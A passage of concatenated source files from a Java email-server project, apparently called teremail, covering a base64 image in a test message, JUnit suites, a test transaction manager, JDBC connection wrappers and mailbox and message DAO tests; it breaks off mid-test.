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 HldpqQAAAABJRU5ErkJggg== --=-2+DeabYuUOigcABipoEQ--
zzuoqiang-teremail
teremail-core/src/test/resources/single-image-inline.msg
omnetpp-msg
lgpl
4,090
package org.teremail.schema; import org.junit.runner.RunWith; import org.junit.runners.Suite; import org.junit.runners.Suite.SuiteClasses; @RunWith(Suite.class) @SuiteClasses({ TableBuilderTest.class }) public class SchemaTestSuite { }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/schema/SchemaTestSuite.java
Java
lgpl
243
package org.teremail.message; import org.junit.runner.RunWith; import org.junit.runners.Suite; import org.junit.runners.Suite.SuiteClasses; @RunWith(Suite.class) @SuiteClasses({ ContentHeaderImplTest.class, ContentStoreTest.class, EntityVisitorTest.class, MultipartEntityTest.class, AddressParserTest.class, MultipartParseTest.class }) public class MessageTestSuite { }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/message/MessageTestSuite.java
Java
lgpl
398
/** * */ package org.teremail.message; import java.io.IOException; import java.io.InputStream; import java.io.PrintStream; import org.teremail.panto.BodyHeader; import org.teremail.panto.ContentHandler; class PrintContentHandler implements ContentHandler { private String pad = ""; private int fieldCount = 0; private PrintStream out; public PrintContentHandler(PrintStream out) { this.out = out; } private void print(String string) { out.print(pad); out.println(string); } private int getLength(InputStream in) throws IOException { byte[] b = new byte[1024]; int i = 0; int total = 0; while ((i = in.read(b)) != -1) { total += i; } return total; } public void body(BodyHeader header, InputStream is) throws IOException { print("body(" + getLength(is) + ")"); } public void endBodyPart() { pad = pad.substring(2); print("endBodyPart()"); } public void endHeader() { print("field(" + fieldCount + ")"); fieldCount = 0; pad = pad.substring(2); print("endHeader()"); } public void endMessage() { pad = pad.substring(2); print("endMessage()"); } public void endMultipart() { pad = pad.substring(2); print("endMultipart()"); } public void epilogue(InputStream in) throws IOException { print("epilogue(" + getLength(in) + ")"); } public void field(String fieldData) { //print("field()"); fieldCount++; } public void preamble(InputStream in) throws IOException { print("preamble(" + getLength(in) + ")"); } public void startBodyPart() { print("startBodyPart"); pad = pad + " "; } public void startHeader() { print("startHeader()"); pad = pad + " "; } public void startMessage() { print("startMessage()"); pad = pad + " "; } public void startMultipart(BodyHeader header) { print("startMultipart(" + header.getContentType() + ")"); pad = pad + " "; } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/message/PrintContentHandler.java
Java
lgpl
2,213
package org.teremail.test; public interface Assertion<E> { public void check(E argument) throws Error, Exception; }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/test/Assertion.java
Java
lgpl
122
package org.teremail.tx; import java.sql.SQLException; import javax.transaction.HeuristicMixedException; import javax.transaction.HeuristicRollbackException; import javax.transaction.RollbackException; import javax.transaction.Synchronization; import javax.transaction.SystemException; import javax.transaction.Transaction; import javax.transaction.xa.XAResource; import org.teremail.util.DB; public class SimpleTransaction implements Transaction { private DelegateConnection cn = null; public void commit() throws RollbackException, HeuristicMixedException, HeuristicRollbackException, SecurityException, IllegalStateException, SystemException { if (cn != null) { try { cn.commit(); } catch (SQLException e) { throw new SystemException(e.getMessage()); } finally { DB.close(cn.getConnection()); cn = null; } } } public boolean delistResource(XAResource arg0, int arg1) throws IllegalStateException, SystemException { throw new RuntimeException("Not Implemented"); } public boolean enlistResource(XAResource arg0) throws RollbackException, IllegalStateException, SystemException { throw new RuntimeException("Not Implemented"); } public int getStatus() throws SystemException { // TODO Auto-generated method stub return 0; } public void registerSynchronization(Synchronization arg0) throws RollbackException, IllegalStateException, SystemException { // TODO Auto-generated method stub } public void rollback() throws IllegalStateException, SystemException { if (cn != null) { try { cn.rollback(); } catch (SQLException e) { throw new SystemException(e.getMessage()); } finally { DB.close(cn.getConnection()); cn = null; } } } public void setRollbackOnly() throws IllegalStateException, SystemException { // TODO Auto-generated method stub } public DelegateConnection getConnection() { return cn; } public void setConnection(DelegateConnection cn) { this.cn = cn; } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/tx/SimpleTransaction.java
Java
lgpl
2,359
package org.teremail.tx; import java.sql.Array; import java.sql.Blob; import java.sql.CallableStatement; import java.sql.Clob; import java.sql.Connection; import java.sql.DatabaseMetaData; import java.sql.NClob; import java.sql.PreparedStatement; import java.sql.SQLClientInfoException; import java.sql.SQLException; import java.sql.SQLWarning; import java.sql.SQLXML; import java.sql.Savepoint; import java.sql.Statement; import java.sql.Struct; import java.util.Map; import java.util.Properties; public class DelegateConnection implements Connection { private Connection cn; public Connection getConnection() { return cn; } public void clearWarnings() throws SQLException { cn.clearWarnings(); } public void close() throws SQLException { cn.close(); } public void commit() throws SQLException { cn.commit(); } public Array createArrayOf(String typeName, Object[] elements) throws SQLException { return cn.createArrayOf(typeName, elements); } public Blob createBlob() throws SQLException { return cn.createBlob(); } public Clob createClob() throws SQLException { return cn.createClob(); } public NClob createNClob() throws SQLException { return cn.createNClob(); } public SQLXML createSQLXML() throws SQLException { return cn.createSQLXML(); } public Statement createStatement() throws SQLException { return cn.createStatement(); } public Statement createStatement(int resultSetType, int resultSetConcurrency, int resultSetHoldability) throws SQLException { return cn.createStatement(resultSetType, resultSetConcurrency, resultSetHoldability); } public Statement createStatement(int resultSetType, int resultSetConcurrency) throws SQLException { return cn.createStatement(resultSetType, resultSetConcurrency); } public Struct createStruct(String typeName, Object[] attributes) throws SQLException { return cn.createStruct(typeName, attributes); } public boolean getAutoCommit() throws SQLException { return cn.getAutoCommit(); } public String getCatalog() throws SQLException { return cn.getCatalog(); } public Properties getClientInfo() throws SQLException { return cn.getClientInfo(); } public String getClientInfo(String name) throws SQLException { return cn.getClientInfo(name); } public int getHoldability() throws SQLException { return cn.getHoldability(); } public DatabaseMetaData getMetaData() throws SQLException { return cn.getMetaData(); } public int getTransactionIsolation() throws SQLException { return cn.getTransactionIsolation(); } public Map<String, Class<?>> getTypeMap() throws SQLException { return cn.getTypeMap(); } public SQLWarning getWarnings() throws SQLException { return cn.getWarnings(); } public boolean isClosed() throws SQLException { return cn.isClosed(); } public boolean isReadOnly() throws SQLException { return cn.isReadOnly(); } public boolean isValid(int timeout) throws SQLException { return cn.isValid(timeout); } public boolean isWrapperFor(Class<?> iface) throws SQLException { return cn.isWrapperFor(iface); } public String nativeSQL(String sql) throws SQLException { return cn.nativeSQL(sql); } public CallableStatement prepareCall(String sql, int resultSetType, int resultSetConcurrency, int resultSetHoldability) throws SQLException { return cn.prepareCall(sql, resultSetType, resultSetConcurrency, resultSetHoldability); } public CallableStatement prepareCall(String sql, int resultSetType, int resultSetConcurrency) throws SQLException { return cn.prepareCall(sql, resultSetType, resultSetConcurrency); } public CallableStatement prepareCall(String sql) throws SQLException { return cn.prepareCall(sql); } public PreparedStatement prepareStatement(String sql, int resultSetType, int resultSetConcurrency, int resultSetHoldability) throws SQLException { return cn.prepareStatement(sql, resultSetType, resultSetConcurrency, resultSetHoldability); } public PreparedStatement prepareStatement(String sql, int resultSetType, int resultSetConcurrency) throws SQLException { return cn.prepareStatement(sql, resultSetType, resultSetConcurrency); } public PreparedStatement prepareStatement(String sql, int autoGeneratedKeys) throws SQLException { return cn.prepareStatement(sql, autoGeneratedKeys); } public PreparedStatement prepareStatement(String sql, int[] columnIndexes) throws SQLException { return cn.prepareStatement(sql, columnIndexes); } public PreparedStatement prepareStatement(String sql, String[] columnNames) throws SQLException { return cn.prepareStatement(sql, columnNames); } public PreparedStatement prepareStatement(String sql) throws SQLException { return cn.prepareStatement(sql); } public void releaseSavepoint(Savepoint savepoint) throws SQLException { cn.releaseSavepoint(savepoint); } public void rollback() throws SQLException { cn.rollback(); } public void rollback(Savepoint savepoint) throws SQLException { cn.rollback(savepoint); } public void setAutoCommit(boolean autoCommit) throws SQLException { cn.setAutoCommit(autoCommit); } public void setCatalog(String catalog) throws SQLException { cn.setCatalog(catalog); } public void setClientInfo(Properties properties) throws SQLClientInfoException { cn.setClientInfo(properties); } public void setClientInfo(String name, String value) throws SQLClientInfoException { cn.setClientInfo(name, value); } public void setHoldability(int holdability) throws SQLException { cn.setHoldability(holdability); } public void setReadOnly(boolean readOnly) throws SQLException { cn.setReadOnly(readOnly); } public Savepoint setSavepoint() throws SQLException { return cn.setSavepoint(); } public Savepoint setSavepoint(String name) throws SQLException { return cn.setSavepoint(name); } public void setTransactionIsolation(int level) throws SQLException { cn.setTransactionIsolation(level); } public void setTypeMap(Map<String, Class<?>> map) throws SQLException { cn.setTypeMap(map); } public <T> T unwrap(Class<T> iface) throws SQLException { return cn.unwrap(iface); } public DelegateConnection(Connection cn) { this.cn = cn; } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/tx/DelegateConnection.java
Java
lgpl
7,066
package org.teremail.tx; import java.io.PrintWriter; import java.sql.Connection; import java.sql.SQLException; import javax.sql.DataSource; import javax.transaction.HeuristicMixedException; import javax.transaction.HeuristicRollbackException; import javax.transaction.InvalidTransactionException; import javax.transaction.NotSupportedException; import javax.transaction.RollbackException; import javax.transaction.SystemException; import javax.transaction.Transaction; import javax.transaction.TransactionManager; public class SimpleTransactionManaer implements TransactionManager { public void begin() throws NotSupportedException, SystemException { } public void commit() throws RollbackException, HeuristicMixedException, HeuristicRollbackException, SecurityException, IllegalStateException, SystemException { currentTx.get().commit(); } public int getStatus() throws SystemException { return currentTx.get().getStatus(); } public Transaction getTransaction() throws SystemException { return currentTx.get(); } public void resume(Transaction arg0) throws InvalidTransactionException, IllegalStateException, SystemException { throw new RuntimeException("Not Implemented"); } public void rollback() throws IllegalStateException, SecurityException, SystemException { currentTx.get().rollback(); } public void setRollbackOnly() throws IllegalStateException, SystemException { } public void setTransactionTimeout(int arg0) throws SystemException { } public Transaction suspend() throws SystemException { throw new RuntimeException("Not Implemented"); } private static ThreadLocal<SimpleTransaction> currentTx = new ThreadLocal<SimpleTransaction>() { @Override protected SimpleTransaction initialValue() { return new SimpleTransaction(); } }; private static class TxConnection extends DelegateConnection { public TxConnection(Connection cn) { super(cn); } public void close() {} public void setAutoCommit(boolean b) {} } public DataSource setDataSource(final DataSource ds) { return new DataSource() { public Connection getConnection() throws SQLException { DelegateConnection cn = currentTx.get().getConnection(); if (cn == null) { cn = new TxConnection(ds.getConnection()); cn.getConnection().setAutoCommit(false); currentTx.get().setConnection(cn); } return cn; } public Connection getConnection(String username, String password) throws SQLException { DelegateConnection cn = currentTx.get().getConnection(); if (cn == null) { cn = new TxConnection(ds.getConnection(username, password)); cn.getConnection().setAutoCommit(false); currentTx.get().setConnection(cn); } return cn; } public PrintWriter getLogWriter() throws SQLException { return ds.getLogWriter(); } public int getLoginTimeout() throws SQLException { return ds.getLoginTimeout(); } public void setLogWriter(PrintWriter out) throws SQLException { ds.setLogWriter(out); } public void setLoginTimeout(int seconds) throws SQLException { ds.setLoginTimeout(seconds); } public boolean isWrapperFor(Class<?> iface) throws SQLException { return ds.isWrapperFor(iface); } public <T> T unwrap(Class<T> iface) throws SQLException { return ds.unwrap(iface); } }; } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/tx/SimpleTransactionManaer.java
Java
lgpl
4,070
package org.teremail.delivery; import org.junit.runner.RunWith; import org.junit.runners.Suite; import org.junit.runners.Suite.SuiteClasses; @RunWith(Suite.class) @SuiteClasses({ DeliveryHandlerTest.class, ExchangeImplTest.class }) public class DeliveryTestSuite { }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/delivery/DeliveryTestSuite.java
Java
lgpl
278
package org.teremail.delivery; import org.easymock.EasyMock; import org.easymock.IArgumentMatcher; import org.teremail.test.Assertion; public class EasyMockUtils { public static <E> E argAssert(Assertion<E> assertion) { EasyMock.reportMatcher(new ArgumentMatcher(assertion)); return null; } @SuppressWarnings("unchecked") public static class ArgumentMatcher implements IArgumentMatcher { private Assertion assertion; private Throwable assertionError; public ArgumentMatcher(Assertion assertion) { this.assertion = assertion; } public void appendTo(StringBuffer buffer) { buffer.append("argumentAssertion(exception ") .append(assertionError) .append(")"); } public boolean matches(Object actual) { try { assertion.check(actual); return true; } catch (Throwable e) { assertionError = e; return false; } } } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/delivery/EasyMockUtils.java
Java
lgpl
1,084
package org.teremail.mailbox; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; import java.util.ArrayList; import java.util.List; import java.util.Map; import org.junit.Before; import org.junit.Test; import org.teremail.AllTests; import org.teremail.message.Content; import org.teremail.message.ContentEntity; import org.teremail.message.Entity; import org.teremail.message.Message; import org.teremail.message.MultipartEntity; import org.teremail.message.MultipartMessage; import org.teremail.message.SimpleEntity; import org.teremail.message.SimpleMessage; import org.teremail.message.builder.MultipartEntityBuilder; import org.teremail.message.builder.MultipartMessageBuilder; import org.teremail.message.builder.SimpleEntityBuilder; import org.teremail.message.builder.SimpleMessageBuilder; import com.google.common.collect.ImmutableList; public abstract class AbstractMessageDAOTestCase { protected abstract DBMessageDAO getDAO(); private DBMessageDAO dao; @Before public void setUp() { dao = getDAO(); dao.init(); } @Test public void saveSimpleMessage() { String subject = "This is a test message"; String to = "<bart@example.com>"; String from = "<home@example.com>"; SimpleMessageBuilder b = new SimpleMessageBuilder(); b.getHeaderBuilder().setTo(to) .setFrom(from) .setSubject(subject); Content c = new Content(42); b.setContent(c); SimpleMessage sm = b.build(); Entity saved = dao.save(sm); assertTrue(saved.getId() != Entity.UNSAVED_ID); SimpleMessage loaded = (SimpleMessage) dao.load(saved.getId()); assertEquals(c, loaded.getContent()); assertNotNull(loaded.getHeader()); } @Test public void saveSimpleEntity() { SimpleEntityBuilder b = new SimpleEntityBuilder("text", "html"); Content c = new Content("2701"); b.setContent(c); SimpleEntity se = b.build(); SimpleEntity saved = (SimpleEntity) dao.save(se); assertTrue(saved.getId() != Entity.UNSAVED_ID); SimpleEntity loaded = (SimpleEntity) dao.load(saved.getId()); assertEquals(c, loaded.getContent()); assertNotNull(loaded.getContentHeader()); assertEquals("text/html", loaded.getContentHeader().getContentType()); } @Test public void saveMultipartMessage() { String subject = "This is a test message"; String to = "<bart@example.com>"; String from = "<home@example.com>"; String preamble = "preamble\r\n"; String epilogue = "epilogue\r\n"; MultipartMessageBuilder b = new MultipartMessageBuilder(); b.getHeaderBuilder().setTo(to).setFrom(from).setSubject(subject); b.setPreamble(preamble).setEpilogue(epilogue); Content c1 = new Content(1); Content c2 = new Content(2); b.addSimpleEntity().setContent(c1); b.addSimpleEntity("text", "html").setContent(c2); MultipartMessage message = b.build(); MultipartMessage saved = (MultipartMessage) dao.save(message); assertTrue(saved.getId() != Entity.UNSAVED_ID); List<Entity> expectedE = ImmutableList.copyOf(message); List<Entity> actualE = ImmutableList.copyOf(saved); assertEquals(expectedE.size(), actualE.size()); MultipartMessage loaded = (MultipartMessage) dao.load(saved.getId()); List<Entity> childParts = ImmutableList.copyOf(loaded); assertEquals(2, childParts.size()); ContentEntity e1 = (ContentEntity) childParts.get(0); assertEquals(c1, e1.getContent()); ContentEntity e2 = (ContentEntity) childParts.get(1); assertEquals(c2, e2.getContent()); } @Test public void saveMultipartEntity() { String preamble = "preamble\r\n"; String epilogue = "epilogue\r\n"; MultipartEntityBuilder b = new MultipartEntityBuilder(); b.setPreamble(preamble).setEpilogue(epilogue); Content c1 = new Content(1); Content c2 = new Content(2); b.addSimpleEntity(c1); b.addSimpleEntity(c2); MultipartEntity entity = b.build(); MultipartEntity saved = (MultipartEntity) dao.save(entity); assertTrue(saved.getId() != Entity.UNSAVED_ID); List<Entity> expectedE = ImmutableList.copyOf(entity.iterator()); List<Entity> actualE = ImmutableList.copyOf(saved.iterator()); assertEquals(expectedE.size(), actualE.size()); MultipartEntity loaded = (MultipartEntity) dao.load(saved.getId()); List<Entity> childParts = ImmutableList.copyOf(loaded.iterator()); assertEquals(2, childParts.size()); ContentEntity e1 = (ContentEntity) childParts.get(0); assertEquals(c1, e1.getContent()); ContentEntity e2 = (ContentEntity) childParts.get(1); assertEquals(c2, e2.getContent()); } @Test public void loadMultipleEntities() throws Exception { List<String> ids = new ArrayList<String>(); for (int i = 0; i < 5; i++) { Entity m = dao.save(AllTests.getMultipartMessage("<homer@example.com>", "<bart@example.com>", "message-" + i)); ids.add(m.getId()); } for (int i = 0; i < 5; i++) { dao.save(AllTests.getSimpleMessage("<bart@example.com>", "<homer@example.com>", "other-" + i)); } Map<String,Message> ms = dao.loadMessages(ids); assertEquals(5, ms.size()); for (Message m : ms.values()) { assertEquals("<homer@example.com>", m.getHeader().getFrom()); assertEquals("<bart@example.com>", m.getHeader().getTo()); } assertTrue(ms.keySet().containsAll(ids)); } }
zzuoqiang-teremail
teremail-core/src/test/java/org/teremail/mailbox/AbstractMessageDAOTestCase.java
Java
lgpl
6,182
package org.teremail.mailbox; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; import static org.teremail.mailbox.Path.path; import java.sql.Connection; import java.sql.SQLException; import java.sql.Statement; import java.util.Arrays; import java.util.HashSet; import java.util.List; import java.util.Set; import javax.sql.DataSource; import org.junit.Before; import org.junit.Test; import org.teremail.AllTests; import org.teremail.DBConfig; import org.teremail.message.Content; import org.teremail.message.Entity; import org.teremail.message.Message; import org.teremail.message.builder.SimpleMessageBuilder; public abstract class AbstractMailboxDAOTestCase { DBMailboxDAO dao = null; DBConfig dbConfig = null; @Before public void setup() throws SQLException { dbConfig = getDBConfig(); dao = new DBMailboxDAO(dbConfig.getDataSource(), dbConfig.getDialect()); dao.init(); clear(dao.getDataSource()); } private void clear(DataSource dataSource) throws SQLException { Connection cn = dataSource.getConnection(); Statement st = cn.createStatement(); st.execute("DELETE FROM mailbox"); st.execute("DELETE FROM folder"); } protected abstract DBConfig getDBConfig(); @Test public void saveThenFindMailbox() throws MailboxExistsException, MailboxNotExistsException { MailboxDO mdo0 = dao.create("bart"); MailboxDO mdo1 = dao.findMailbox(mdo0.getUser()); assertNotNull(mdo1); assertEquals("bart", mdo1.getUser()); } @Test(expected=MailboxExistsException.class) public void duplicateMailbox() throws MailboxExistsException, MailboxNotExistsException { dao.create("bart"); dao.create("bart"); } @Test(expected=MailboxNotExistsException.class) public void missingMailbox() throws MailboxNotExistsException { dao.findMailbox("foo"); } @Test public void saveThenFindFolder() throws Exception { MailboxDO mdo = dao.create("bart"); FolderDO fdo0 = new FolderDO(path("INBOX"), mdo); dao.save(fdo0); FolderDO fdo1 = dao.findFolder(mdo, path("INBOX")); assertNotNull(fdo1); assertEquals("bart", fdo1.getMailbox().getUser()); assertEquals("INBOX", fdo1.getName()); } @Test(expected=FolderExistsException.class) public void duplicateFolder() throws Exception { MailboxDO mdo = dao.create("bart"); FolderDO fdo0 = new FolderDO(path("INBOX"), mdo); dao.save(fdo0); FolderDO fdo1 = new FolderDO(path("INBOX"), mdo); dao.save(fdo1); } @Test(expected=FolderNotExistsException.class) public void missingFolder() throws Exception { MailboxDO mdo = dao.create("bart"); dao.findFolder(mdo, path("thisDoesNotExist")); } @Test public void addMessage() throws Exception { String messageId = "42"; MailboxDO mdo = dao.create("bart"); FolderDO fdo = dao.save(new FolderDO(path("INBOX"), mdo)); dao.addMessage(fdo, messageId); List<Long> uids = dao.getUids(fdo); assertEquals(1, uids.size()); assertEquals(1, (long) uids.get(0)); } @Test public void getFolders() throws Exception { MailboxDO mdo = dao.create("bart"); dao.save(new FolderDO(path("INBOX"), mdo)); dao.save(new FolderDO(path("Trash"), mdo)); dao.save(new FolderDO(path("Drafts"), mdo)); dao.save(new FolderDO(path("Sent"), mdo)); List<FolderDO> folders = dao.getFolders(mdo, Path.ROOT); assertEquals(4, folders.size()); Set<String> names = new HashSet<String>(); for (FolderDO folder : folders) { names.add(folder.getName()); } assertTrue(names.containsAll(Arrays.asList("INBOX", "Trash", "Drafts", "Sent"))); } @Test public void getEntriesSortedByUID() throws Exception { MailboxDO mdo = dao.create("bart"); FolderDO fdo = new FolderDO(path("INBOX"), mdo); fdo = dao.save(fdo); DBMessageDAO mesDAO = new DBMessageDAO(dbConfig.getDataSource(), dbConfig.getDialect()); mesDAO.init(); Message m = AllTests.getSimpleMessage(); for (int i = 0; i < 20; i++) { String id = mesDAO.save(m).getId(); dao.addMessage(fdo, id); } List<EntryDO> entries = dao.getEntries(fdo, 0, 10, Folder.SortKey.UID); assertEquals(10, entries.size()); for (int i = 0; i < 10; i++) { assertEquals(i+1, entries.get(i).getUid()); } } @Test public void getEntriesSortedBySubject() throws Exception { MailboxDO mdo = dao.create("bart"); FolderDO fdo = new FolderDO(path("INBOX"), mdo); fdo = dao.save(fdo); DBMessageDAO mesDAO = new DBMessageDAO(dbConfig.getDataSource(), dbConfig.getDialect()); mesDAO.init(); SimpleMessageBuilder smb = new SimpleMessageBuilder(); smb.setContent(new Content("42")); smb.getHeaderBuilder().setFrom("<bart@example.com>") .setTo("<lisa@example.com>"); smb.getHeaderBuilder().setSubject("dddddd"); Entity m4 = mesDAO.save(smb.build()); dao.addMessage(fdo, m4.getId()); smb.getHeaderBuilder().setSubject("bbbbbb"); Entity m2 = mesDAO.save(smb.build()); dao.addMessage(fdo, m2.getId()); smb.getHeaderBuilder().setSubject("cccccc"); Entity m3 = mesDAO.save(smb.build()); dao.addMessage(fdo, m3.getId()); smb.getHeaderBuilder().setSubject("eeeeee"); Entity m5 = mesDAO.save(smb.build()); dao.addMessage(fdo, m5.getId()); smb.getHeaderBuilder().setSubject("aaaaaa"); Entity m1 = mesDAO.save(smb.build()); dao.addMessage(fdo, m1.getId()); List<EntryDO> entries = dao.getEntries(fdo, 0, 10, Folder.SortKey.SUBJECT); assertEquals(5, entries.size()); assertEquals(m1.getId(), entries.get(0).getMessageId()); assertEquals(m2.getId(), entries.get(1).getMessageId()); assertEquals(m3.getId(), entries.get(2).getMessageId()); assertEquals(m4.getId(), entries.get(3).getMessageId()); assertEquals(m5.getId(), entries.get(4).getMessageId()); } @Test public void getEntriesSortedByFrom() throws Exception { MailboxDO mdo = dao.create("bart"); FolderDO fdo = new FolderDO(path("INBOX"), mdo); fdo = dao.save(fdo); DBMessageDAO mesDAO = new DBMessageDAO(dbConfig.getDataSource(), dbConfig.getDialect()); mesDAO.init(); SimpleMessageBuilder smb = new SimpleMessageBuilder(); smb.setContent(new Content("42")); smb.getHeaderBuilder().setSubject("D'oh") .setTo("<lisa@example.com>"); smb.getHeaderBuilder().setFrom("<dddddd@example.com>"); Entity m4 = mesDAO.save(smb.build()); dao.addMessage(fdo, m4.getId()); smb.getHeaderBuilder().setFrom("<bbbbbb@example.com>"); Entity m2 = mesDAO.save(smb.build()); dao.addMessage(fdo, m2.getId()); smb.getHeaderBuilder().setFrom("<cccccc@example.com>"); Entity m3 = mesDAO.save(smb.build()); dao.addMessage(fdo, m3.getId()); smb.getHeaderBuilder().setFrom("<eeeeee@example.com>"); Entity m5 = mesDAO.save(smb.build()); dao.addMessage(fdo, m5.getId()); smb.getHeaderBuilder().setFrom("<aaaaaa@example.com>"); Entity m1 = mesDAO.save(smb.build()); dao.addMessage(fdo, m1.getId()); List<EntryDO> entries = dao.getEntries(fdo, 0, 10, Folder.SortKey.FROM); assertEquals(5, entries.size()); assertEquals(m1.getId(), entries.get(0).getMessageId()); assertEquals(m2.getId(), entries.get(1).getMessageId()); assertEquals(m3.getId(), entries.get(2).getMessageId()); assertEquals(m4.getId(), entries.get(3).getMessageId()); assertEquals(m5.getId(), entries.get(4).getMessageId()); } @Test public void getEntriesSortedByDate() throws Exception { MailboxDO mdo = dao.create("bart"); FolderDO fdo = new FolderDO(path("INBOX"), mdo); fdo = dao.save(fdo); DBMessageDAO mesDAO = new DBMessageDAO(dbConfig.getDataSource(), dbConfig.getDialect()); mesDAO.init(); SimpleMessageBuilder smb = new SimpleMessageBuilder(); smb.setContent(new Content("42")); smb.getHeaderBuilder().setFrom("<bart@example.com>") .setTo("<lisa@example.com>") .setSubject("D'oh!"); smb.getHeaderBuilder().setDate("Sun, 14 Jan 2007 13:09:00 +0000"); Entity m4 = mesDAO.save(smb.build()); dao.addMessage(fdo, m4.getId()); smb.getHeaderBuilder().setDate("Sun, 12 Jan 2007 13:09:00 +0000"); Entity m2 = mesDAO.save(smb.build()); dao.addMessage(fdo, m2.getId()); 